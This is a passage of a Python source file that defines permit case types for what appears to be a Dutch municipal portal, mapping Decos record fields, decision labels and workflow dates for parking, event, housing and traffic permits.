zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n status_translations = [\n [\"Publicatie aanvraag\", \"Ontvangen\"],\n [\"Ontvangen\", \"Ontvangen\"],\n [\"Volledigheidstoets uitvoeren\", \"Ontvangen\"],\n [\"Behandelen aanvraag\", \"In behandeling\"],\n [\"Huisbezoek\", \"In behandeling\"],\n [\"Beoordelen en besluiten\", \"In behandeling\"],\n [\"Afgehandeld\", \"Afgehandeld\"],\n ]\n\n decision_translations = [\n [\"Verleend met overgangsrecht\", \"Verleend\"],\n [\"Verleend zonder overgangsrecht\", \"Verleend\"],\n [\"Geweigerd\", \"Geweigerd\"],\n [\"Geweigerd met overgangsrecht\", \"Geweigerd\"],\n [\"Geweigerd op basis van Quotum\", \"Geweigerd\"],\n [\"Ingetrokken\", \"Ingetrokken\"],\n ]\n\n parse_fields = [\n # Startdatum zaak\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot en met\n {\"name\": \"requester\", \"from\": \"company\", \"parser\": to_string},\n {\"name\": \"owner\", \"from\": \"text25\", \"parser\": to_string},\n {\n \"name\": \"hasTransitionAgreement\",\n \"from\": \"dfunction\",\n \"parser\": static(to_transition_agreement),\n }, # need this for tip mijn-33\n ]\n\n\nclass GPP(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"GPP\"\n title = \"Vaste parkeerplaats voor gehandicapten (GPP)\"\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Ingetrokken i.v.m. overlijden of verhuizing\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Nog niet bekend\", \"\", False],\n [\"Verleend\", \"Verleend\"],\n ]\n\n parse_fields = [\n {\"name\": \"kenteken\", \"from\": \"text7\", \"parser\": to_string},\n {\"name\": \"location\", \"from\": \"text8\", \"parser\": to_string},\n ]\n\n\nclass GPK(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"GPK\"\n title = \"Europese gehandicaptenparkeerkaart (GPK)\"\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Ingetrokken i.v.m. overlijden of verhuizing\", \"Ingetrokken\"],\n [\"Ingetrokken verleende GPK wegens overlijden\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Nog niet bekend\", \"\", False],\n [\"Verleend\", \"Verleend\"],\n [\n \"Verleend Bestuurder met GPP (niet verleend passagier)\",\n \"Verleend Bestuurder, niet verleend Passagier\",\n ],\n [\n \"Verleend Bestuurder, niet verleend Passagier\",\n \"Verleend Bestuurder, niet verleend Passagier\",\n ],\n # Decos cuts of the field at 50 chars, we sadly have to anticipate on this\n [\n \"Verleend Bestuurder met GPP (niet verleend passagi\",\n \"Verleend Bestuurder, niet verleend Passagier\",\n ],\n [\"Verleend met GPP\", \"Verleend\"],\n [\n \"Verleend Passagier met GPP (niet verleend Bestuurder)\",\n \"Verleend Passagier, niet verleend Bestuurder\",\n ],\n # Decos cuts of the field at 50 chars, we sadly have to anticipate on this\n [\n \"Verleend Passagier met GPP (niet verleend Bestuurd\",\n \"Verleend Passagier, niet verleend Bestuurder\",\n ],\n [\n \"Verleend Passagier, niet verleend Bestuurder\",\n \"Verleend Passagier, niet verleend Bestuurder\",\n ],\n [\"Verleend vervangend GPK\", \"Verleend\"],\n ]\n\n parse_fields = [\n {\"name\": \"cardNumber\", \"from\": \"num3\", \"parser\": to_int}, # kaartnummer\n {\"name\": \"cardtype\", \"from\": \"text7\", \"parser\": to_string},\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # vervaldatum\n ]\n\n\nclass EvenementMelding(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Evenement melding\"\n title = \"Evenement melding\"\n\n parse_fields = [\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Op ?\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date},\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n {\"name\": \"timeStart\", \"from\": \"text7\", \"parser\": to_time}, # Van \n {\"name\": \"timeEnd\", \"from\": \"text8\", \"parser\": to_time}, # Tot \n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet toegestaan\"],\n [\"Verleend\", \"Toegestaan\"],\n [\"Nog niet bekend\", \"\", False],\n [\"Nog niet bekend\", \"\", False],\n [\"Verleend\", \"Verleend\"],\n [\"Verleend (Bijzonder/Bewaren)\", \"Verleend\"],\n [\"Verleend zonder borden\", \"Verleend\"],\n ]\n\n\nclass EvenementVergunning(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Evenement vergunning\"\n title = \"Evenement vergunning\"\n\n parse_fields = [\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot en met\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n {\"name\": \"timeStart\", \"from\": \"text7\", \"parser\": to_time},\n {\"name\": \"timeEnd\", \"from\": \"text8\", \"parser\": to_time}, # tijd tot\n ]\n\n decision_translations = [\n [\"Afgebroken (Ingetrokken)\", \"Afgebroken (Ingetrokken)\"],\n [\"Geweigerd\", \"Geweigerd\"],\n [\"Nog niet bekend\", \"\", False],\n [\"Nog niet bekend\", \"\", False],\n [\"Nog niet bekend\", \"\", False],\n [\"Verleend\", \"Verleend\"],\n [\"Verleend (Bijzonder/Bewaren)\", \"Verleend\"],\n [\"Verleend zonder borden\", \"Verleend\"],\n ]\n\n\nclass Omzettingsvergunning(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Omzettingsvergunning\"\n title = \"Vergunning voor kamerverhuur (omzettingsvergunning)\"\n date_workflow_active_step_title = \"Omzettingsvergunning - Behandelen\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], Omzettingsvergunning.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n ]\n\n decision_translations = [\n [\"Geweigerd\", \"Geweigerd\"],\n [\"Ingetrokken door gemeente\", \"Ingetrokken door gemeente\"],\n [\"Ingetrokken op eigen verzoek\", \"Ingetrokken op eigen verzoek\"],\n [\"Nog niet bekend\", \"\", False],\n [\"Van rechtswege verleend\", \"Verleend\"],\n [\"Vergunningvrij\", \"Vergunningvrij\"],\n [\"Verleend\", \"Verleend\"],\n [\"Verleend zonder borden\", \"Verleend\"],\n ]\n\n\nclass ERVV_TVM(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"E-RVV - TVM\"\n title = \"e-RVV (Gratis verkeersontheffing voor elektrisch goederenvervoer)\"\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string},\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot en met\n {\"name\": \"timeStart\", \"from\": \"text10\", \"parser\": to_time},\n {\"name\": \"timeEnd\", \"from\": \"text13\", \"parser\": to_time}, # tijd tot\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Nog niet bekend\", \"\", False],\n [\"Verleend met borden\", \"Verleend\"],\n [\"Verleend met borden en Fietsenrekken verwijderen\", \"Verleend\"],\n [\"Verleend met Fietsenrekken verwijderen\", \"Verleend\"],\n [\"Verleend zonder bebording\", \"Verleend\"],\n [\"Verleend zonder borden\", \"Verleend\"],\n ]\n\n\nclass BZP(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Parkeerontheffingen Blauwe zone particulieren\"\n title = \"Parkeerontheffingen Blauwe zone particulieren\"\n\n @staticmethod\n def to_kenteken(value) -> bool:\n if not value:\n return None\n\n value = re.sub(\"[^0-9a-zA-Z-]+\", \" \", value)\n value = re.sub(\" +\", \" \", value.strip())\n value = re.sub(\" \", \" | \", value.upper())\n\n return value\n\n parse_fields = [\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot en met\n {\"name\": \"kenteken\", \"from\": \"text8\", \"parser\": static(to_kenteken)},\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Verleend\", \"Verleend\"],\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass BZB(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Parkeerontheffingen Blauwe zone bedrijven\"\n title = \"Parkeerontheffingen Blauwe zone bedrijven\"\n\n parse_fields = [\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot en met\n {\"name\": \"companyName\", \"from\": \"company\", \"parser\": to_string},\n {\"name\": \"numberOfPermits\", \"from\": \"num6\", \"parser\": to_int},\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Verleend\", \"Verleend\"],\n ]\n\n\nclass Flyeren(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Flyeren-Sampling\"\n title = \"Verspreiden reclamemateriaal (sampling)\"\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot en met\n {\"name\": \"timeStart\", \"from\": \"text7\", \"parser\": to_time}, # Start tijd\n {\"name\": \"timeEnd\", \"from\": \"text8\", \"parser\": to_time}, # Eind tijd\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Verleend\", \"Verleend\"],\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass AanbiedenDiensten(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Aanbieden van diensten\"\n title = \"Aanbieden van diensten\"\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet toegestaan\"],\n [\"Verleend\", \"Toegestaan\"],\n ]\n\n\nclass NachtwerkOntheffing(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Nachtwerkontheffing\"\n title = \"Geluidsontheffing werken in de openbare ruimte (nachtwerkontheffing)\"\n date_workflow_active_step_title = \"Nachtwerkontheffing - Behandelen\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], NachtwerkOntheffing.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Datum van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Datum tot\n {\"name\": \"timeStart\", \"from\": \"text7\", \"parser\": to_time}, # Start tijd\n {\"name\": \"timeEnd\", \"from\": \"text10\", \"parser\": to_time}, # Eind tijd\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Niet verleend\"],\n [\"Verleend met borden\", \"Verleend\"],\n [\"Verleend zonder borden\", \"Verleend\"],\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass ZwaarVerkeer(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Zwaar verkeer\"\n title = \"Ontheffing zwaar verkeer\"\n date_workflow_active_step_title = \"Zwaar verkeer - Behandelen\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], ZwaarVerkeer.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n def to_kind(kind_source) -> str:\n if not kind_source:\n return None\n return get_translation(kind_source, ZwaarVerkeer.kind_translations, True)\n\n parse_fields = [\n {\n \"name\": \"exemptionKind\",\n \"from\": \"text17\",\n \"parser\": to_kind,\n }, # Soort ontheffing\n {\n \"name\": \"licensePlates\",\n \"from\": \"text49\",\n \"parser\": BZP.to_kenteken,\n }, # Kentekens\n {\"name\": \"dateStart\", \"from\": \"date6\", \"parser\": to_date}, # Van\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Tot en met\n ]\n\n kind_translations = [\n [\n \"Jaarontheffing bijzonder\",\n \"Jaarontheffing hele zone voor bijzondere voertuigen\",\n ],\n [\"Jaarontheffing gewicht\", \"Jaarontheffing hele zone met gewichtsverklaring\"],\n [\n \"Jaarontheffing gewicht bijzonder\",\n \"Jaarontheffing hele zone voor bijzondere voertuigen met gewichtsverklaring\",\n ],\n [\n \"Jaarontheffing gewicht en ondeelbaar\",\n \"Jaarontheffing hele zone met gewichtsverklaring en verklaring ondeelbare lading\",\n ],\n [\n \"Jaarontheffing ondeelbaar\",\n \"Jaarontheffing hele zone met verklaring ondeelbare lading\",\n ],\n [\n \"Routeontheffing bijzonder boven 30 ton\",\n \"Routeontheffing bijzondere voertuig boven 30 ton\",\n ],\n [\n \"Routeontheffing brede wegen boven 30 ton\",\n \"Routeontheffing breed opgezette wegen boven 30 ton\",\n ],\n [\n \"Routeontheffing brede wegen tm 30 ton\",\n \"Routeontheffing breed opgezette wegen tot en met 30 ton\",\n ],\n [\n \"Routeontheffing culturele instelling\",\n \"Routeontheffing pilot culturele instelling\",\n ],\n [\n \"Routeontheffing ondeelbaar boven 30 ton\",\n \"Routeontheffing boven 30 ton met verklaring ondeelbare lading\",\n ],\n [\"Zwaar verkeer\", \"Ontheffing zwaar verkeer\"],\n [\"Dagontheffing\", \"Dagontheffing hele zone\"],\n [\"Jaarontheffing\", \"Jaarontheffing hele zone\"],\n ]\n\n decision_translations = [\n [\"Ingetrokken\", \"Ingetrokken\"],\n [\"Niet verleend\", \"Afgewezen\"],\n [\"Verleend\", \"Toegekend\"],\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass Samenvoegingsvergunning(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Samenvoegingsvergunning\"\n title = \"Vergunning voor samenvoegen van woonruimten\"\n date_workflow_active_step_title = (\n \"Samenvoegingsvergunning - Beoordelen en besluiten\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], Samenvoegingsvergunning.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n ]\n\n\nclass Onttrekkingsvergunning(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Onttrekkingsvergunning voor ander gebruik\"\n title = \"Onttrekkingsvergunning voor ander gebruik\"\n date_workflow_active_step_title = (\n \"Onttrekkingsvergunning voor ander gebruik - Beoordelen en besluiten\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], Onttrekkingsvergunning.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n ]\n\n\nclass OnttrekkingsvergunningSloop(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Onttrekkingsvergunning voor sloop\"\n title = \"Onttrekkingsvergunning voor sloop\"\n date_workflow_active_step_title = (\n \"Onttrekkingsvergunning voor sloop - Beoordelen en besluiten\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"],\n OnttrekkingsvergunningSloop.date_workflow_active_step_title,\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n ]\n\n\nclass VormenVanWoonruimte(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Woningvormingsvergunning\"\n title = \"Vergunning voor woningvorming\"\n date_workflow_active_step_title = (\n \"Woningvormingsvergunning - Beoordelen en besluiten\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], VormenVanWoonruimte.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n ]\n\n\nclass Splitsingsvergunning(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Splitsingsvergunning\"\n title = \"Splitsingsvergunning\"\n date_workflow_active_step_title = \"Splitsingsvergunning - Behandelen\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], Splitsingsvergunning.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n ]\n\n\nclass VOBvergunning(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"VOB\"\n title = \"Ligplaatsvergunning\"\n date_workflow_active_step_title = \"VOB - Beoordelen en besluiten\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], VOBvergunning.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"requestKind\", \"from\": \"text9\", \"parser\": to_string}, # Soort aanvraag\n {\"name\": \"reason\", \"from\": \"text18\", \"parser\": to_string}, # Reden\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n {\"name\": \"vesselKind\", \"from\": \"text10\", \"parser\": to_string}, # Soort vaartuig\n {\"name\": \"vesselName\", \"from\": \"text14\", \"parser\": to_string}, # Naam vaartuig\n ]\n\n\nclass ExploitatieHorecabedrijf(Zaak):\n # !!!!!!!!!!!!!\n enabled = True\n # !!!!!!!!!!!!!\n\n zaak_type = \"Horeca vergunning exploitatie Horecabedrijf\"\n title = \"Horeca vergunning exploitatie Horecabedrijf\"\n\n date_workflow_active_step_title = (\n \"Horeca vergunning exploitatie Horecabedrijf - In behandeling nemen\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"],\n ExploitatieHorecabedrijf.date_workflow_active_step_title,\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\"name\": \"dateEnd\", \"from\": \"date2\", \"parser\": to_date}, # Eind datum\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n }, # Begindatum vergunning\n {\"name\": \"location\", \"from\": \"text6\", \"parser\": to_string}, # Locatie\n ]\n\n\nclass RVVHeleStad(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"RVV - Hele stad\"\n title = \"RVV-verkeersontheffing\"\n\n date_workflow_active_step_title = (\n \"Status bijwerken en notificatie verzenden - In behandeling\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], RVVHeleStad.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n }, # Begindatum vergunning\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Einddatum vergunning\n {\n \"name\": \"licensePlates\",\n \"from\": \"text49\",\n \"parser\": BZP.to_kenteken,\n }, # Kentekens\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass RVVSloterweg(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"RVV Sloterweg\"\n title = \"RVV ontheffing Sloterweg\"\n\n date_workflow_active_step_title = \"RVV Sloterweg - Behandelen\"\n date_workflow_verleend_step_title = \"Status naar actief\"\n\n # status_translations = []\n\n decision_translations = [\n [\"Verleend\", \"Verleend\"],\n [\"Ingetrokken door gemeente\", \"Ingetrokken\"],\n [\"Verlopen\", \"Verlopen\"],\n ]\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], RVVSloterweg.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n\n date_workflow_verleend = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], RVVSloterweg.date_workflow_verleend_step_title\n )\n zaak_deferred[\"dateWorkflowVerleend\"] = date_workflow_verleend\n\n if date_workflow_verleend is not None:\n zaak_deferred[\"processed\"] = True\n # if the workflow verleend has run but there is no decision then its actually Verleend.\n # this decision (verleend) is not set by decos eventhough the actual permit is granted\n if zaak_deferred[\"decision\"] is None:\n zaak_deferred[\"decision\"] = \"Verleend\"\n\n if zaak_deferred[\"processed\"] is False and (\n zaak_deferred.get(\"dateDecision\") is not None\n or zaak_deferred.get(\"decision\") is not None\n ):\n zaak_deferred[\"processed\"] = True\n\n if (\n zaak_deferred[\"area\"] is not None\n and zaak_deferred[\"licensePlates\"] is not None\n ):\n zaak_deferred[\n \"title\"\n ] = f\"RVV ontheffing {zaak_deferred['area']} ({zaak_deferred['licensePlates']})\"\n\n return zaak_deferred\n\n parse_fields = [\n {\n \"name\": \"requestType\",\n \"from\": \"text8\",\n \"parser\": to_string,\n }, # Gebied\n {\n \"name\": \"area\",\n \"from\": \"text7\",\n \"parser\": to_string,\n }, # Gebied\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n }, # Begindatum vergunning\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Einddatum vergunning\n {\n \"name\": \"licensePlates\",\n \"from\": \"text10\",\n \"parser\": BZP.to_kenteken,\n }, # Kentekens\n {\n \"name\": \"previousLicensePlates\",\n \"from\": \"text15\",\n \"parser\": BZP.to_kenteken,\n }, # Vorige Kentekens\n ]\n\n\nclass Eigenparkeerplaats(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"Eigen parkeerplaats\"\n title = \"Eigen parkeerplaats\"\n\n date_workflow_active_step_title = (\n \"Status bijwerken en notificatie verzenden - In behandeling\"\n )\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], Eigenparkeerplaats.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n\n return zaak_deferred\n\n def to_requesttype(self):\n type_map = {\n \"isNewRequest\": \"Nieuwe aanvraag\",\n \"isCarsharingpermit\": \"Autodeelbedrijf\",\n \"isLicensePlateChange\": \"Kentekenwijziging\",\n \"isRelocation\": \"Verhuizing\",\n \"isExtension\": \"Verlenging\",\n }\n\n for key in type_map.keys():\n if self.zaak[key] is True:\n return type_map[key]\n\n return None\n\n def after_transform(self):\n locations = []\n if self.zaak[\"streetLocation1\"] is not None:\n locations.append(\n {\n \"type\": self.zaak[\"locationkindLocation1\"],\n \"street\": self.zaak[\"streetLocation1\"],\n \"houseNumber\": self.zaak[\"housenumberLocation1\"],\n \"fiscalNumber\": self.zaak[\"fiscalnumberLocation1\"],\n \"url\": self.zaak[\"urlLocation1\"],\n }\n )\n\n if self.zaak[\"streetLocation2\"] is not None:\n locations.append(\n {\n \"type\": self.zaak[\"locationkindLocation2\"],\n \"street\": self.zaak[\"streetLocation2\"],\n \"houseNumber\": self.zaak[\"housenumberLocation2\"],\n \"fiscalNumber\": self.zaak[\"fiscalnumberLocation2\"],\n \"url\": self.zaak[\"urlLocation2\"],\n }\n )\n\n self.zaak[\"locations\"] = locations\n self.zaak[\"requestType\"] = self.to_requesttype()\n\n # removed duplicate keys\n for key in [\n \"locationkindLocation1\",\n \"streetLocation1\",\n \"housenumberLocation1\",\n \"fiscalnumberLocation1\",\n \"locationkindLocation2\",\n \"streetLocation2\",\n \"housenumberLocation2\",\n \"fiscalnumberLocation2\",\n \"urlLocation1\",\n \"urlLocation2\",\n ]:\n self.zaak.pop(key, None)\n\n parse_fields = [\n {\n \"name\": \"isNewRequest\",\n \"from\": \"bol9\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"isExtension\",\n \"from\": \"bol7\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"isLicensePlateChange\",\n \"from\": \"bol10\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"isRelocation\",\n \"from\": \"bol11\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"isCarsharingpermit\",\n \"from\": \"bol8\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"streetLocation1\",\n \"from\": \"text25\",\n \"parser\": to_string,\n },\n {\n \"name\": \"housenumberLocation1\",\n \"from\": \"num14\",\n \"parser\": to_int,\n },\n {\n \"name\": \"locationkindLocation1\",\n \"from\": \"text17\",\n \"parser\": to_string,\n },\n {\n \"name\": \"fiscalnumberLocation1\",\n \"from\": \"text18\",\n \"parser\": to_string,\n },\n {\n \"name\": \"urlLocation1\",\n \"from\": \"text19\",\n \"parser\": to_string,\n },\n {\n \"name\": \"streetLocation2\",\n \"from\": \"text15\",\n \"parser\": to_string,\n },\n {\n \"name\": \"housenumberLocation2\",\n \"from\": \"num15\",\n \"parser\": to_int,\n },\n {\n \"name\": \"locationkindLocation2\",\n \"from\": \"text20\",\n \"parser\": to_string,\n },\n {\n \"name\": \"fiscalnumberLocation2\",\n \"from\": \"text21\",\n \"parser\": to_string,\n },\n {\n \"name\": \"urlLocation2\",\n \"from\": \"text22\",\n \"parser\": to_string,\n },\n {\n \"name\": \"licensePlates\",\n \"from\": \"text13\",\n \"parser\": BZP.to_kenteken,\n },\n {\n \"name\": \"previousLicensePlates\",\n \"from\": \"text14\",\n \"parser\": BZP.to_kenteken,\n },\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n },\n {\n \"name\": \"dateEnd\",\n \"from\": \"date8\",\n \"parser\": to_date,\n },\n ]\n\n def has_valid_source_data(self):\n not_before = to_date(\"2023-08-08\")\n creation_date = to_date(self.zaak_source[\"document_date\"])\n\n return creation_date >= not_before and super().has_valid_payment_status()\n\n\nclass EigenparkeerplaatsOpheffen(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"Eigen parkeerplaats opheffen\"\n title = \"Eigen parkeerplaats opheffen\"\n\n date_workflow_active_step_title = (\n \"Status bijwerken en notificatie verzenden - In behandeling\"\n )\n\n 